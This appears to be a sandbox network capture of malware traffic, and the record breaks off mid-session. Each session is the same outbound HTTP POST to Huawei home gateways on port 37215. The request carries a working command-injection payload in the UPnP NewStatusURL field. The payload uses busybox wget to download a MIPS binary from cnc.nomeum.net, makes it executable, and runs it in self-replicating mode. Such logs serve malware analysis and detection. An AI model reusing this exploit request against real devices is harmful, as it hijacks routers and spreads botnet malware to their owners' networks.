Nov 3, 2024 15:33:05.295367956 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	45532	41.214.36.137	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.297118902 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	40880	41.30.67.169	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.298913002 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	33396	41.176.158.71	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.300766945 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	48192	197.134.195.220	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.302818060 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	46884	156.197.175.23	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.304600954 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	41716	156.157.48.250	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.306241035 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	37674	156.60.157.78	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.307151079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	44012	197.145.255.210	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.308098078 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	41174	41.39.13.206	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.308773994 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	38830	41.96.22.119	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.309473038 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 